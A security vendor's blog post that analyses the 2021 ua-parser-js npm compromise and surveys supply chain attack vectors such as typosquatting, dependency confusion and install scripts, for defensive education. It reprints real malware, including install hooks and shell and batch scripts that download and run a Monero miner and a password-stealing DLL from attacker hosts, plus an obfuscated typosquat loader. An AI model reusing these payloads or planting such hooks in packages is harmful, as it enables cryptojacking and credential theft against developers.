title: What’s Really Going On Inside Your node_modules Folder?
url: https://socket.dev/blog/inside-node-modules
hash_url: 0d024905896d89f8bd499e2a6170b59e

<h2>Let me tell you a story...</h2>
<p>On January 13, 2012, over ten year ago, a developer named Faisal Salman
published a new project to GitHub called <code>ua-parser-js</code> and it parsed user agent
strings. Lots of people found this project useful. Over the next 10 years,
Faisal continued to develop the package along with help from many open source
contributors. It eventually grew to 7 million downloads per week and was used by
nearly 3 million GitHub repositories.</p>

<h2>Now, let me tell you a different story...</h2>
<p>On October 5th, 2021 on a notorious Russian hacking forum, this post appeared:</p>
<pre><code class="hljs language-md">I sell a development account on npmjs.com, more than 7 million installations
every week, more than 1000 others are dependent on this.

There is no 2FA on the account. Login and password access. The password is
enough to change your email.

Suitable for distributing installations, miners, creating a botnet

Start $10k
Step $1k
Blitz $20k
</code></pre>
<p>This hacker was offering to sell the password to an npm account that controlled a package with over 7 million weekly downloads. His asking price was $20,000 USD for the password.</p>
<h2>This is where the two stories intersect</h2>
<p>Two weeks later, on Friday, October 22, 2021 at 12:15pm GMT, <code>ua-parser-js</code> was compromised. Three malicious versions were published – <code>0.7.29</code>, <code>0.8.0</code>, and <code>1.0.0</code> – which contained malware. The malware was particularly nasty and it caught everyone by surprise.</p>
<h2>Anatomy of a supply chain attack</h2>
<p>Let's take a look at what that malware does. This is the <code>package.json</code> file for one of the
compromised versions:</p>
<h3><code>package.json</code></h3>
<pre><code class="hljs language-json">{
  <span class="hljs-attr">"title"</span>: <span class="hljs-string">"UAParser.js"</span>,
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"ua-parser-js"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"0.7.29"</span>,
  <span class="hljs-attr">"author"</span>: <span class="hljs-string">"Faisal Salman &lt;<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="13755375727a60727f7e727d3d707c7e">[email protected]</a>&gt; (http://faisalman.com)"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Lightweight JavaScript-based user-agent string parser"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"src/ua-parser.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"start /B node preinstall.js &amp; node preinstall.js"</span>,
    <span class="hljs-attr">"build"</span>: <span class="hljs-string">"uglifyjs src/ua-parser.js ..."</span>,
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"jshint src/ua-parser.js &amp;&amp; mocha -R nyan test/test.js"</span>,
    <span class="hljs-attr">"test-ci"</span>: <span class="hljs-string">"jshint src/ua-parser.js &amp;&amp; mocha -R spec test/test.js"</span>
  }
}
</code></pre>
<p>You'll see that it uses a pre-install script, so this means that the command <code>start /B node preinstall.js &amp; node preinstall.js</code> will run automatically anytime this package is installed.</p>
<p>Let's take a look at the <code>preinstall.js</code> script:</p>
<h3><code>preinstall.js</code></h3>
<pre><code class="hljs language-js"><span class="hljs-keyword">const</span> { exec } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">terminalLinux</span>(<span class="hljs-params"></span>) </span>{
  exec(<span class="hljs-string">'/bin/bash preinstall.sh'</span>, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (error) {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`error: <span class="hljs-subst">${error.message}</span>`</span>)
      <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">if</span> (stderr) {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stderr: <span class="hljs-subst">${stderr}</span>`</span>)
      <span class="hljs-keyword">return</span>
    }
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`stdout: <span class="hljs-subst">${stdout}</span>`</span>)
  })
}

<span class="hljs-keyword">var</span> opsys = process.platform
<span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'darwin'</span>) {
  opsys = <span class="hljs-string">'MacOS'</span>
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'win32'</span> || opsys == <span class="hljs-string">'win64'</span>) {
  opsys = <span class="hljs-string">'Windows'</span>
  <span class="hljs-keyword">const</span> { spawn } = <span class="hljs-built_in">require</span>(<span class="hljs-string">'child_process'</span>)
  <span class="hljs-keyword">const</span> bat = spawn(<span class="hljs-string">'cmd.exe'</span>, [<span class="hljs-string">'/c'</span>, <span class="hljs-string">'preinstall.bat'</span>])
} <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (opsys == <span class="hljs-string">'linux'</span>) {
  opsys = <span class="hljs-string">'Linux'</span>
  terminalLinux()
}
</code></pre>
<p>The first thing you'll see is that it runs a different payload depending on the victim's operating system. On Linux, the malware executes <code>preinstall.sh</code>, while on Windoews it executes <code>preinstall.bat</code>. Mac users got lucky – there was no Mac payload. Perhaps the attacker ran out of time to finish the Mac version, or didn't have a Mac to test on?</p>
<p>Now let's take a look at what <code>preinstall.sh</code> does:</p>
<h3><code>preinstall.sh</code></h3>
<pre><code class="hljs language-sh">IP=$(curl -k https://freegeoip.app/xml/ | grep <span class="hljs-string">'RU\|UA\|BY\|KZ'</span>)
<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$IP</span>"</span> ]
    <span class="hljs-keyword">then</span>
	var=$(pgrep jsextension)
	<span class="hljs-keyword">if</span> [ -z <span class="hljs-string">"<span class="hljs-variable">$var</span>"</span> ]
		<span class="hljs-keyword">then</span>
		curl http://159.148.186.228/download/jsextension -o jsextension
		<span class="hljs-keyword">if</span> [ ! -f jsextension ]
			<span class="hljs-keyword">then</span>
			wget http://159.148.186.228/download/jsextension -O jsextension
		<span class="hljs-keyword">fi</span>
		chmod +x jsextension
		./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u &lt;redacted&gt; \
            --cpu-max-threads-hint=50 --donate-level=1 --background &amp;&gt;/dev/null &amp;
	<span class="hljs-keyword">fi</span>
<span class="hljs-keyword">fi</span>
</code></pre>
<p>The very first line fetches the victim's country code using their IP address. If the victim is from Russia, Ukraine, Belarus, or Kazakhstan, then the malware exits early. Presumably the attacker comes from one of these countries and doesn't want to antagonize their local law enforcement. This is a common technique in malware.</p>
<p>Next, there's a check using <code>pgrep</code> to see if the malware – a process named <code>jsextension</code> – is already running. If so, then the malware exits early.</p>
<p>Otherwise, the script proceeds to download a file from an IP address, mark that file as executable, and then run it. Based on these command line flags, the program appears to be a Monero miner. This program will mine the Monero cryptocurrency for the attacker, wasting the victim's CPU cycles and potentially driving up their electricity or cloud hosting bill.</p>
<p>The payload for Windows users is quite similar, with one extra twist:</p>
<h3><code>preinstall.bat</code></h3>
<pre><code class="hljs language-bat">@<span class="hljs-built_in">echo</span> off
curl http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -o jsextension.exe
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
	wget http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe -O jsextension.exe
)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> jsextension.exe (
	certutil.exe -urlcache -f http://<span class="hljs-number">159</span>.<span class="hljs-number">148</span>.<span class="hljs-number">186</span>.<span class="hljs-number">228</span>/download/jsextension.exe jsextension.exe
)
curl https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -o create.dll
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
	wget https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll -O create.dll
)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">exist</span> create.dll (
	certutil.exe -urlcache -f https://citationsherbe.<span class="hljs-built_in">at</span>/sdd.dll create.dll
)
<span class="hljs-built_in">set</span> exe_1=jsextension.exe
<span class="hljs-built_in">set</span> "count_1=<span class="hljs-number">0</span>"
&gt;tasklist.temp (
tasklist /NH /FI "IMAGENAME eq <span class="hljs-variable">%exe_1%</span>"
)
<span class="hljs-keyword">for</span> /f <span class="hljs-variable">%%x</span> <span class="hljs-keyword">in</span> (tasklist.temp) <span class="hljs-keyword">do</span> (
<span class="hljs-keyword">if</span> "<span class="hljs-variable">%%x</span>" <span class="hljs-keyword">EQU</span> "<span class="hljs-variable">%exe_1%</span>" <span class="hljs-built_in">set</span> /a count_1+=<span class="hljs-number">1</span>
)
<span class="hljs-keyword">if</span> <span class="hljs-variable">%count_1%</span> <span class="hljs-keyword">EQU</span> <span class="hljs-number">0</span> (<span class="hljs-built_in">start</span> /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:<span class="hljs-number">443</span> -u &lt;redacted&gt; \
   --cpu-max-threads-hint=<span class="hljs-number">50</span> --donate-level=<span class="hljs-number">1</span> --background &amp; regsvr32.exe -s create.dll)
<span class="hljs-built_in">del</span> tasklist.temp
</code></pre>
<p>On Windows, the malware not only downloads a Monero miner (<code>jsextension.exe</code>), but it downloads a .DLL file as well.</p>
<p>After starting the Monero miner, the malware registers the .DLL file by running <code>regsvr32.exe -s create.dll</code>. This .DLL file steals passwords from over 100 different programs on the Windows machine as well as all the passwords in the Windows credential manager.</p>
<p>Yikes!</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>This DLL file steals passwords from over 100 different programs on the Windows
machine as well as all the passwords in the Windows credential manager</p></aside></div></div>
<p>This is a really nasty piece of malware. Anyone unlucky enough to run this lost all their passwords and had to do a complete reset of their online accounts – not a fun time!</p>
<h2>Aftermath</h2>
<p>The malicious package was available for about four hours. The open source
community, as well as the maintainer, did quite well at finding and reporting
the problem to npm who were able to remove it. Despite things going quite well
by historical standards – 4 hours is a very quick turnaround time – tens of
thousands of malicious downloads still took place. Even a few minutes is a lot a
package gets 7 million weekly downloads!</p>
<p>Anyone who ran <code>npm install ua-parser-js</code> was compromised. Anyone who installed
a package that depended on <code>ua-parser-js</code> was also compromised, including
important packages such as <code>react-native</code>. Anyone running <code>npm install</code> without
a <code>package-lock.json</code> file was compromised. Anyone unlucky enough to update to a
new version of <code>ua-parser-js</code>, whether manually with <code>npm update</code> or through an
automated pull request such as from Dependabot, was compromised.</p>
<h2>Just the tip of the iceberg</h2>
<p>This is really just the tip of the iceberg. At <a class="chakra-link css-f4h6uy" href="https://socket.dev/">Socket</a>, we've been tracking packages that are <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">removed from npm for security reasons</a>. We've seen over 700 packages removed for security reasons in the last 30 days, and this trend is accelerating.</p>
<p>Attackers are taking advantage of the open ecosystem and the implicit trust that maintainers have for each other through the liberal contribution policies that have become common in the modern open source era.</p>
<p>We predict that 2022 will be the "year of software supply chain security" as the
awareness of this issue has exploded due to several massive software supply
chain attacks such as SolarWinds as well as near weekly npm attacks in the news.
It feels like we've reached a breaking point and developers, companies, and
governments finally seem ready to take action to protect the open source
ecosystem.</p>
<p>One question you might ask, though, is...</p>
<h2>Why is this happening now?</h2>
<p>I want to start by just pointing out that what we're trying to do here is kind of crazy. We want to:</p>
<ul>
<li>Download <strong>code</strong></li>
<li>from the <strong>internet</strong></li>
<li>written by <strong>unknown individuals</strong></li>
<li>that we <strong>haven't read</strong></li>
<li>that we <strong>execute</strong></li>
<li>with <strong>full permissions</strong></li>
<li>on our <strong>laptops and servers</strong></li>
<li>where we keep our <strong>most important data</strong></li>
</ul>
<p>This is what we're doing every day when we use <code>npm install</code>. It's a <em>miracle</em> that this system works – and that it's continued to <em>mostly</em> work for this long!</p>
<p>It's a testament to the fact that most people are good. But, unfortunately, not
everyone is is good. And even more unfortunately, even just a small handful of bad actors in the ecosystem can cause massive supply chain attacks that shake our trust in open source code.</p>
<p>Now let's let's dive into why this is happening now.</p>
<h2>1. 90% of the lines of code in your app comes from open source</h2>
<p>We're standing on the shoulders of giants. Open source is the reason we can get
an app off the ground in hours and days instead of weeks or months. It's the
reason that we don't need to be an expert in cryptography or timezones or
network protocols to build a powerful, modern software application.</p>
<p>It's also the reason why your <code>node_modules</code> folder is one of the heaviest
objects in the universe.</p>

<h2>2. Lots of transitive dependencies</h2>
<p>Another reason is that we have lots and lots of transitive dependencies. The way
that we write software has changed. We use dependencies a lot more liberally.
Installing even a single dependency often leads to many dozens or hundreds of
transitive dependencies coming in as well.</p>
<p>A 2019 paper at USENIX, found that installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers.</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Installing an average npm package introduces an implicit trust on 79
third-party packages and 39 maintainers, creating a surprisingly large attack
surface</p></aside><p class="css-1ydr9i">– Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel ("Small World with High Risks: A Study of Security Threats in the npm Ecosystem")</p></div></div>
<p>Here's another way to look at. We created a visualization to show you what the dependency tree of a typical package looks like. Let's look at <code>webpack</code>, which is a dependency present in many JavaScript projects.</p>
<p>Each gray box represents a package and each purple box represents a file inside a package:</p>
<h3>Webpack, unpacked</h3>

<p><em>The visualization above is interactive. Drag to rotate. Click to navigate to a package or file.</em></p>
<p>As you take away each layer of the dependency tree you'll see that you just keep finding more packages nested inside the top-level package, until you eventually get down to the bottom of the tree.</p>
<p>There are an insane number of files and a lot of packages flying around here.</p>
<h2>3. No one reads the code</h2>
<p>Another reason is that no one really reads the code. Of course, there are some people who do, but by-and-large, people don't look at the code that they're executing on their machines.</p>
<p>One big reason for this is that npm really doesn't make this very easy. If you go to the package page for <code>ua-parser-js</code> and you click on the "Explore" tab, you'll see that you can't even see the files of the package:</p>

<p>So, people have to resort to clicking the GitHub link in the sidebar and going to GitHub and <strong><em>hoping</em></strong> that the code on GitHub matches the code that's on npm, which is not necessarily true. In fact, many of the biggest npm supply chain attacks have taken advantage of this fact.</p>
<p>The lack of people looking at the code inside of npm packages is also a big reason why, on average, npm malware lingers on the registry for 209 days before it's finally reported and removed.</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>On average, a malicious package is available for 209 days before being
publicly reported</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
<p>When I first read this statistic, I found it hard to believe, but it's been confirmed by further research.</p>
<p>A 2021 paper at NDSS, a prestigious security conference, also found similar results. Even worse, they found that 20% of malware persist in package managers for over 400 days and have more than 1,000 downloads.</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><p class="css-1ydr9i">– Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee</p></div></div>
<p>It's disturbing to realize that npm is filled with landmines that can be set off inadvertently if we make a small typo in one of the many <code>npm install</code> commands we run on a daily basis.</p>
<h2>4. Popular tools give a false sense of security</h2>
<p>And the fourth reason is that popular tools give a false sense of security. A
lot of popular tools – such as Dependabot and Snyk – scan your dependencies for
known vulnerabilities (CVEs). In 2022, this is no longer sufficient. We can't
just scan for known vulnerabilities and stop there. And yet that's what the most
popular supply chain security products do, leaving you vulnerable.</p>
<p>It can take weeks or months for a vulnerability to be discovered, reported, and detected by tools. That's just not fast enough to stop supply chain attacks.</p>
<h3>Known vulnerabilities vs. Malware</h3>
<p>Let's take a second to quickly distinguish between <strong>known vulnerabilities</strong> and
<strong>malware</strong>, because they're very different.</p>
<p><strong>Vulnerabilities</strong> are accidentally introduced by maintainers – the good guys. They
have varying levels of risk and sometimes it's okay to intentionally ship a
known vulnerability to production if it's low impact. Even if you have
vulnerabilities in production they may not be discovered or exploited before you
update to a fixed version. You usually have a bit of time to address these kinds
of issues.</p>
<p><strong>Malware</strong>, on the other hand, is quite different. Malware is intentionally
introduced into a package by an attacker – almost never the maintainer – and it
will always end badly if you ship malware to production. You don't have a few
days or weeks to mitigate the issue. You need to really catch it before you
install it on your laptop or a production server.</p>
<p>But in today's culture of fast development, a malicious dependency can be
updated and merged in a very short amount of time, which leads to an increased risk of supply chain
attacks because the quicker you update your dependencies the fewer eyeballs that
have had a chance to look at the code.</p>
<p>Developers need a new approach to detect and to block malicious dependencies.
But before we get into that, let's look a little deeper into how a supply chain
attack actually works.</p>
<h2>How does a supply chain attack actually work?</h2>
<p>To answer this question, we downloaded every package on npm – 100 GB of metadata and 15 TB of package tarballs. We noticed a few trends in the types of attacks on npm.</p>
<p>Let's go over the top 6 attack vectors (how the attack gets you to run their code) and attack techniques (what the attack code actually does).</p>
<h2>1. Typosquatting</h2>
<p>The most common attack vector is typosquatting.</p>
<p>Typosquatting is when an attacker publishes a package which has a very similar name to a legitimate and popular package.</p>
<p>Take these two packages with very similar names, for instance:</p>
<pre><code class="hljs language-sh">npm install noblox.js-proxied
npm install noblox.js-proxy
</code></pre>
<p>One of these is legitimate and one of these is malware. But which is which? And what if you can't remember and so you just take a guess?</p>
<p>Hopefully you guessed right:</p>
<pre><code class="hljs language-sh">npm install noblox.js-proxied (REAL)
npm install noblox.js-proxy (EVIL)
</code></pre>
<p>Let's crack open the malware package <code>noblox.js-proxy</code> and take a look at it's <code>package.json</code>:</p>
<h3><code>package.json</code></h3>
<pre><code class="hljs language-js">{
  <span class="hljs-string">"name"</span>: <span class="hljs-string">"noblox.js-proxy"</span>,
  <span class="hljs-string">"version"</span>: <span class="hljs-string">"1.0.5"</span>,
  <span class="hljs-string">"description"</span>: <span class="hljs-string">"A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)"</span>,
  <span class="hljs-string">"main"</span>: <span class="hljs-string">"lib/index.js"</span>,
  <span class="hljs-string">"types"</span>: <span class="hljs-string">"typings/index.d.ts"</span>,
  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"docs"</span>: <span class="hljs-string">"jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs"</span>,
    <span class="hljs-string">"lint"</span>: <span class="hljs-string">"eslint lib/"</span>,
    <span class="hljs-string">"test"</span>: <span class="hljs-string">"jest"</span>,
    <span class="hljs-string">"postinstall"</span>: <span class="hljs-string">"node postinstall.js"</span>
  },
  <span class="hljs-string">"repository"</span>: {
    <span class="hljs-string">"type"</span>: <span class="hljs-string">"git"</span>,
    <span class="hljs-string">"url"</span>: <span class="hljs-string">"https://github.com/JxySerr1/noblox.js-proxy.git"</span>
  }
}
</code></pre>
<p>Again, you'll notice that it's using an install script – a very common technique that malware uses. If you open up this install script to look at the code, you'll find that the file is heavily
obfuscated:</p>
<pre><code class="hljs language-js">(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x249d1f,_0x2b8f5b</span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4c7bcc</span>(<span class="hljs-params">_0xab39a4,_0x4f1570,_0x2f32bf,
_0x4d98f7,_0x52a9ec</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x52a9ec-<span class="hljs-number">0x379</span>,_0x4d98f7);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0xfe08c3</span>
(<span class="hljs-params">_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x3d9d3c- -<span class="hljs-number">0x30</span>,
_0x217de2);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x5dee13</span>(<span class="hljs-params">_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2</span>)
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x410ef5- -<span class="hljs-number">0x6c</span>,_0x3daba2);}<span class="hljs-keyword">const</span> _0x40a390=_0x249d1f();
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x4ebfb2</span>(<span class="hljs-params">_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536</span>)
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x180281-<span class="hljs-number">0x29c</span>,_0x29e008);}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x1d9570</span>(<span class="hljs-params">_0xcf31ba,_0x24a2a8,
_0x1361be,_0x2b2b01,_0x2b71bd</span>)
</span>{<span class="hljs-keyword">return</span> _0x1efa(_0xcf31ba-<span class="hljs-number">0x357</span>,_0x24a2a8);}<span class="hljs-keyword">while</span>(!![]){<span class="hljs-keyword">try</span>{<span class="hljs-keyword">const</span> _0xe15807=
-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x718</span>,<span class="hljs-number">0x638</span>,<span class="hljs-string">'12Eh'</span>,<span class="hljs-number">0x6f0</span>,<span class="hljs-number">0x6f6</span>))/(<span class="hljs-number">0x1e27</span>+-<span class="hljs-number">0x2ac</span>+-<span class="hljs-number">0x1b7a</span>)
+<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x6d5</span>,<span class="hljs-number">0x713</span>,<span class="hljs-number">0x72c</span>,<span class="hljs-string">'JXxJ'</span>,<span class="hljs-number">0x644</span>))/(<span class="hljs-number">0x15</span>*-<span class="hljs-number">0x16e</span>+-<span class="hljs-number">0x19c4</span>+<span class="hljs-number">0x37cc</span>)
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x68d</span>,<span class="hljs-number">0x788</span>,<span class="hljs-number">0x86c</span>,<span class="hljs-string">'JJ[O'</span>,<span class="hljs-number">0x754</span>))/(-<span class="hljs-number">0x89e</span>+<span class="hljs-number">0x2</span>*-<span class="hljs-number">0x928</span>+-<span class="hljs-number">0xb</span>*-<span class="hljs-number">0x273</span>)
*(-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x64f</span>,<span class="hljs-number">0x62a</span>,<span class="hljs-string">'$53b'</span>,<span class="hljs-number">0x530</span>,<span class="hljs-number">0x55f</span>))/(-<span class="hljs-number">0x2525</span>+<span class="hljs-number">0x7c0</span>+-<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x1d69</span>))
+-<span class="hljs-built_in">parseInt</span>(_0x4c7bcc(<span class="hljs-number">0x7d6</span>,<span class="hljs-number">0x65e</span>,<span class="hljs-number">0x7e5</span>,<span class="hljs-string">'tOk*'</span>,<span class="hljs-number">0x729</span>))/(<span class="hljs-number">0xc7d</span>+<span class="hljs-number">0x7cc</span>*-<span class="hljs-number">0x1</span>+<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x4ac</span>)
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x544</span>,<span class="hljs-number">0x602</span>,<span class="hljs-string">'!qJ9'</span>,<span class="hljs-number">0x565</span>,<span class="hljs-number">0x6c2</span>))/(-<span class="hljs-number">0x120e</span>+<span class="hljs-number">0x1b1</span>*-<span class="hljs-number">0x17</span>+<span class="hljs-number">0x1f7</span>*<span class="hljs-number">0x1d</span>)
+<span class="hljs-built_in">parseInt</span>(_0xfe08c3(<span class="hljs-number">0x359</span>,<span class="hljs-number">0x28a</span>,<span class="hljs-string">'igej'</span>,<span class="hljs-number">0x404</span>,<span class="hljs-number">0x3e9</span>))/(<span class="hljs-number">0x163</span>*-<span class="hljs-number">0x8</span>+<span class="hljs-number">0x345</span>+<span class="hljs-number">0x192</span>*<span class="hljs-number">0x5</span>)
+-<span class="hljs-built_in">parseInt</span>(_0x4ebfb2(<span class="hljs-number">0x40f</span>,<span class="hljs-number">0x519</span>,<span class="hljs-string">'<a href="https://socket.dev/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0223423532">[email protected]</a>'</span>,<span class="hljs-number">0x4f5</span>,<span class="hljs-number">0x5a2</span>))/(<span class="hljs-number">0x1</span>*-<span class="hljs-number">0x977</span>+-<span class="hljs-number">0x15a</span>+<span class="hljs-number">0xad9</span>);
<span class="hljs-keyword">if</span>(_0xe15807===_0x2b8f5b)<span class="hljs-keyword">break</span>;<span class="hljs-keyword">else</span> _0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}
<span class="hljs-keyword">catch</span>(_0xdc6a7c){_0x40a390[<span class="hljs-string">'push'</span>](_0x40a390[<span class="hljs-string">'shift'</span>]());}}}(_0x6450,-<span class="hljs-number">0x4f0c0</span>+
<span class="hljs-number">0x260b</span>+<span class="hljs-number">0x29</span>*<span class="hljs-number">0x4445</span>));<span class="hljs-keyword">const</span> _0x206d7b=(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_0x2debc5</span>(<span class="hljs-params">_0x482afc,
_0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a</span>)</span>{<span class="hljs-keyword">return</span> _0x1efa(_0x18ac59- -<span class="hljs-number">0x3d1</span>,_0x17d73a);}
...
</code></pre>
<p>I can tell you that even without knowing exactly what this code is
doing, you can bet this is not something that you want to run on your machine.</p>
<h2>2. Dependency confusion</h2>
<p>This attack vector is pretty closely related to typosquatting. Dependency
confusion happens when a company publishes packages to an internal npm registry
and uses a name that hasn't yet been registered on the public npm registry.
Later, an attacker can come along and register the available package. Now
there's a private legitimate package and a public malware package, both with the
same name.</p>
<p>Many internal tools are poorly-written and they may prefer to install the public version
of the package instead of the private one, which means that the attacker's code will be installed.</p>
<p>Looking through the <a class="chakra-link css-f4h6uy" href="https://socket.dev/npm/category/removed">recently removed npm packages</a>, we were able to find dozens of likely dependency confusion attacks, where package names appear to conflict with internal company package names. Major corporations, US federal agencies, and US government contractors were all affected.</p>
<ul>
<li>Yahoo

</li>
<li>EURid (registry manager for EU)

</li>
<li>18F (US Federal agency)

</li>
<li>Unity (game engine)

</li>
<li>Palantir (government contractor)

</li>
<li>DuckDuckGo (search engine)

</li>
<li>Shippo (shipping company)

</li>
<li>GrubHub (food delivery company)

</li>
<li>Wix (website builder)

</li>
</ul>
<p>How were attackers able to figure out these private package names? There are many possible ways, but it's worth noting that npm itself was <a target="_blank" rel="noopener noreferrer" class="chakra-link css-f4h6uy" href="https://www.bleepingcomputer.com/news/security/npm-fixes-private-package-names-leak-serious-authorization-bug/">leaking a subset of private package names<svg viewbox="0 0 24 24" focusable="false" class="chakra-icon css-1yb876g"><g fill="none" stroke="currentColor" stroke-linecap="round" stroke-width="2"><path d="M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6"></path><path d="M15 3h6v6"></path><path d="M10 14L21 3"></path></g></svg></a> for several weeks which didn't help the problem.</p>
<h2>3. Hijacked packages</h2>
<p>The third vector that we see a lot is hijacked packages. These are the ones that
you've probably seen in the news every few weeks.</p>
<p>Criminals and miscreants find ways to infiltrate our communities and and infect
popular packages. Once they get control of a package and they can publish to it,
they'll steal credentials or install backdoors or abuse compute resources for
cryptocurrency mining.</p>
<p>This type of attack happens for various reasons:</p>
<ul>
<li>Maintainers choose weak passwords</li>
<li>Maintainers reuse passwords</li>
<li>Maintainers get malware on their laptops</li>
<li>npm doesn't enforce 2FA for all accounts (though they've started to enforce this for top accounts)</li>
<li>Maintainers give access to malicious actors</li>
</ul>
<p>Overworked maintainers are particularly susceptible to this type of attack. When
someone offers a helping hand to a burned out maintainer, it's sometimes hard
for them to say no.</p>
<h2>4. Install scripts</h2>
<p>As we mentioned before, install scripts are a huge vector. An install script
allows a package to automatically run code upon package installation.</p>
<p>Most npm malware uses install scripts. In fact, 56% of malicious packages start their routines on installation.</p>
<div class="css-1f97hpy"><div class="css-f3ylvk"><aside class="chakra-heading css-1vbay5q"><p>Most malicious packages (56%) start their routines on installation, which
might be due to poor handling of arbitrary code during install</p></aside><p class="css-1ydr9i">– Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier ("Backstabber's Knife Collection: A Review of Open Source Software Supply Chain Attacks")</p></div></div>
<p>npm allows packages to run code during the installation process. Unfortunately, install scripts do have some legitimate uses, so we can't just remove this feature from npm without breaking the ecosystem. It's not an easy problem to solve.</p>
<h2>5. Permission creep (shell, network, filesystem, environment vars)</h2>
<p>Permission creep happens when a package which previously didn't use privileged APIs, such as the shell, network, filesystem, or environment variables, but then suddenly starts to use these powerful APIs.</p>
<p>Privileged APIs are used in most malware because attackers usually want to steal some secrets, download an executable payload, or run some shell scripts.</p>
<p>Though legitimate packages do sometimes introduce privileged APIs in later package versions, this signal is often a telltale sign of malware, especially when these APIs are introduced in a patch version. Attackers like to publish their malware in a patch version to maximize the number of potential victims who will install it through loose semver ranges.</p>
<p>Let's look at an example of a malicious package that uses privileged APIs:</p>
<h3><code>package.json</code></h3>
<pre><code class="hljs language-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;redacted&gt;"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"9998.9999.2"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"..."</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"echo \"Error: no test specified\" &amp;&amp; exit 1"</span>,
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"node dns.js | node index.js | node specific-fields.js"</span>
  },
